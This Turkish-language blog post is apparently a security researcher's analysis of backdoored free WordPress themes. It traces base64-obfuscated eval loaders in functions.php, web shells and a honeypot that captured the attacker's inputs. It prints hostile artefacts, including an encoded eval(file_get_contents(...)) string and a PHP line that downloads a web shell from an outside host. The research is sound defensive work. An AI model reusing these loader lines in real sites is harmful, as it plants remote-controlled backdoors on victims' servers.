Eskiden bir blog yazısı veya bir sunum için konu bulabilmek adına uzun mesailer harcardım. Yıllar içinde daha fazla kişiye ulaşmaya başladıkça okurlarımdan, bağlantılarımdan, takipçilerimden gelen mesajlar, Cryptokiller aracının ortaya çıkmasında olduğu gibi blog yazılarıma, sunumlarıma ilham kaynağı olmaya başladı. Bu hikaye 2018 yılının Mayıs ayında LinkedIn bağlantılarım arasında yer alan Özkan AKTEKİN isimli bir kişinin gönderdiği mesaj ile başladı.

Özkan AKTEKİN mesajında sahip olduğu bir kaç web sitesinin sürekli hacklendiğinden dem vuruyordu. Şüpheleri doğrultusunda hareket ederek araştırmalarını belli bir noktaya kadar getiren Özkan ile kısa bir görüşme yaptıktan sonra durumun WordPress teması kaynaklı olduğunu öğrendim. Yapılacaklar listesi (TODO) oldukça kabarık olan biri olarak bu konuya eğilmem biraz zaman almış olsa da farkındalık adına bu konuyu hem yazıya dökmeye hem de Istanbul Bilgi Güvenliği Konferansı‘nda sunmaya karar verdim.

WordPress Theme Backdoor

Özkan’ın bahsettiği wp.com.tr sitesini ziyaret edip kısaca indirilebilen temalara baktığımda, dizin altındaki klasör ve dosyaların listelenebildiğini farkettim ve ardından 802 MB büyüklüğündeki yaklaşık 653 adet temayı indirmeye başladım.

WordPress Theme Backdoor
WordPress Theme Backdoor
WordPress Theme Backdoor
WordPress Theme Backdoor

Temaları hızlıca paketinden çıkardıktan sonra arka kapı tespitine yönelik eval gibi belli başlı anahtar kelimeleri bu dosyalar üzerinde aradığımda, çok geçmeden tüm temaların functions.php dosyasında yer alıp base64 ile gizlenmiş bir karakter dizisi dikkatimi çekti.

WordPress Theme Backdoor
WordPress Theme Backdoor
WordPress Theme Backdoor

Bu karakter dizisini Google arama motorunda arattığımda ise temaları hem güvenlik hem de kod kalitesi amacıyla denetleyen oldukça faydalı bir site (http://themecheck.info/) ile karşılaştım. Bu karakter dizisine konu olan ve indirdiğim temalar arasında da yer alan bir temada ciddi anlamda şüpheli olan kod parçaları olduğu bu sitenin denetimi sonucunda hemen göze çarpıyordu.

WordPress Theme Backdoor
WordPress Theme Backdoor
WordPress Theme Backdoor

Google’ın arama sonuçlarına bakmaya devam ettiğimde bu defa r10.net sitesi üzerinde 2016 yılında yazılmış bir mesaj dikkatimi çekti. Mesajı yazan kişi sağolsun zararlı kod bloğuna yer vermekle kalmayıp, arka kapı yüklü sitelerin bir listesinin tutulduğu dosyasının adresini de paylaşmıştı.

WordPress Theme Backdoor
WordPress Theme Backdoor

functions.php dosyasında yer alan kod bloğuna baktığımda, ana sayfaya http://www[.]fabthemes.com/fabthemes.php?getlink= adresinden istenmeyen bağlantı adreslerinin çekilmesini, eklenmesini sağlayan footer.php dosyasından çağrılan fflink() fonksiyonunu ve uzaktan komut çalıştırmaya imkan tanıyan eval() fonksiyonlarını gördüm.

WordPress Theme Backdoor
WordPress Theme Backdoor

http://www[.]fabthemes.com adresini ziyaret ettiğimde ise http://wp[.]com.tr gibi bir tema sitesi ile karşılaştım. Bu sitedeki tüm temaları da indirdikten sonra yine aynı şekilde eval() fonksiyonunu aradığımda http://wp[.]com.tr sitesindeki temalarda olduğu gibi functions.php ve footer.php dosyalarında zararlı kod blokları olduğunu gördüm. Burada yer alan temalardaki functions.php dosyasındaki base64 ile gizlenmiş karakter dizisi http://wp[.]com.tr sitesindekilerden farklı olduğu (ZXZhbChAZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly95YWthbGFkaW1zaXppLmNvbS95YWJhbmNpL3gudHh0IikpOw==) dikkatimi çekti.

WordPress Theme Backdoor
WordPress Theme Backdoor
WordPress Theme Backdoor
WordPress Theme Backdoor

İlk olarak base64 ile gizlenmiş aHR0cDovL3dwLmNvbS50ci93ei50eHQ= karakter dizisini çözdüğümde http://wp[.]com.tr/wz.txt adresi ile karşılaştım. Bu sayfaya gittiğimde ise karşıma kendisini wp-includes/fonts/font.php dosyasına yazan ve ardından da http://wp[.]com.tr/alankontrol/l.php adresine site adını göndererek siteyi kayıt altına aldığını tahmin ettiğim bir PHP kodu çıktı.

WordPress Theme Backdoor

Base64 ile gizlenmiş karakter dizisini çözdüğümde ise bu defa u parametresinde www var ise parola soran bir form ile karşılaştım. Forma girilen parola ile kaynak kodunda yer alan parolanın md5 özet değeri (050c5218c20c624956eab832283a59b7) eşleştiği taktirde bu form üzerinden dosya sistemine dosya yüklemek mümkün olabiliyordu. (web shell) MD5 özet değerini CrackStation sitesinde arattığımda ise herhangi bir kayda rastlamadım. Bu durum, art niyetli kişinin kolay tahmin edilemeyen bir parola kullandığına işaret ediyordu.

WordPress Theme Backdoor
WordPress Theme Backdoor

Base64 ile gizlenmiş bir diğer ZXZhbChAZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly95YWthbGFkaW1zaXppLmNvbS95YWJhbmNpL3gudHh0IikpOw== karakter dizisini çözdüğümde ise http://yakaladimsizi[.]com/yabanci/x.txt adresi ile karşılaştım. Bu sayfaya gittiğimde ise karşıma, yapılan istekte wp parametresinde yer alan adresteki veriyi çekip, kendisini wp-includes/js/js.php dosyasına yazan ve ardından da font.php dosyasında olduğu gibi http://wp[.]com.tr/alankontrol/l.php adresine site adını gönderen PHP kodu çıktı.

WordPress Theme Backdoor
WordPress Theme Backdoor

Site üzerinde keşfe çıktığımda PHP web shell olduğunu gördüğüm 2 tane kaynak koduna rastladım.

WordPress Theme Backdoor
WordPress Theme Backdoor
WordPress Theme Backdoor

050c5218c20c624956eab832283a59b7 md5 özet değerini bulmak için kariyerdunyasi.org adında bir alan adı aldıktan sonra DigitalOcean üzerinde bir WordPress site oluşturmaya ve arkakapı içeren bir temayı yüklemeye karar verdim. Tabii sitemin hacklenmesini engellemek için arka kapı içeren dosyaları sadece yapılan istekleri kayıt altına alacak şekilde değiştirdim ve devreye aldım.

WordPress Theme Backdoor
WordPress Theme Backdoor
WordPress Theme Backdoor
WordPress Theme Backdoor

Aradan kısa bir süre geçtikten sonra art niyetli kişi 050c5218c20c624956eab832283a59b7 md5 özet değeri ile eşleşen özel karakterlerden, büyük küçük harflerden ve sayılardan oluşan 13 haneli karmaşık parolasını font.php dosyasına girdi! Sayfadan beklediği yanıtı alamadıktan sonra bu defa js.php dosyasına wp parametresi ile uzaktan dosya sistemine php web shell yüklemeye imkan tanıyan raw.githubusercontent.com/eynisey/test/master/test.txt adresini iletti ve art niyetli kişinin hedef sisteme erişmesine imkan tanıyan iki yöntem de ortaya çıkmış oldu. ;)

WordPress Theme Backdoor
WordPress Theme Backdoor
WordPress Theme Backdoor
WordPress Theme Backdoor
WordPress Theme Backdoor
WordPress Theme Backdoor

2018 yılının Aralık ayında ise http://wp[.]com.tr/wz.txt dosyasında yer alan base64 ile gizlenmiş karakter dizisinin değiştiğini farkettim. Gizlenmiş karakter dizisini çözdüğümde font.php dosyasına daha önceki koda ilaveten $z=fopen(‘error_log.php’,’w’);fwrite($z,file_get_contents(‘http://download[.]evilc0der[.]org/shell-indir/error_log.txt’));fclose($z); print(); satırının eklendiğini gördüm. Bu kod ile font.php dosyasının yanına bir de error_log.php adı altında başka bir php web shell dosyası oluşturuluyordu. Bu php web shell dosyasının parolasının diğerlerinden farklı olması, http://wp[.]com.tr sitesinin başka bir grup tarafından hacklenmiş olabileceği ve mevcut font.php dosyasına başka bir kodun eklenmiş olma ihtimalini arttırıyordu.

WordPress Theme Backdoor
WordPress Theme Backdoor
WordPress Theme Backdoor
WordPress Theme Backdoor
WordPress Theme Backdoor
WordPress Theme Backdoor
WordPress Theme Backdoor

Araştırmamı tamamlamadan önce http://www[.]wp[.]com.tr/wp-includes/ klasörünü gezmeye devam ettiğimde ise daha önce tespit ettiğim ve parolası içinde yazan a.php dosyası ile de karşılaşmış oldum.

WordPress Theme Backdoor
WordPress Theme Backdoor

Sadede gelecek olursam, internetten ücretsiz olarak indirdiğiniz WordPress temalarını kurmadan önce muhakkak http://themecheck.info/ isimli sitede temanızı kontrol etmenizi tavsiye ederim aksi halde pusuya yatmış olan art niyetli kişilerin kurbanı olmanız göreceğiniz üzere hiç de zor değil.

Bir sonraki yazıda görüşmek dileğiyle herkese güvenli günler dilerim.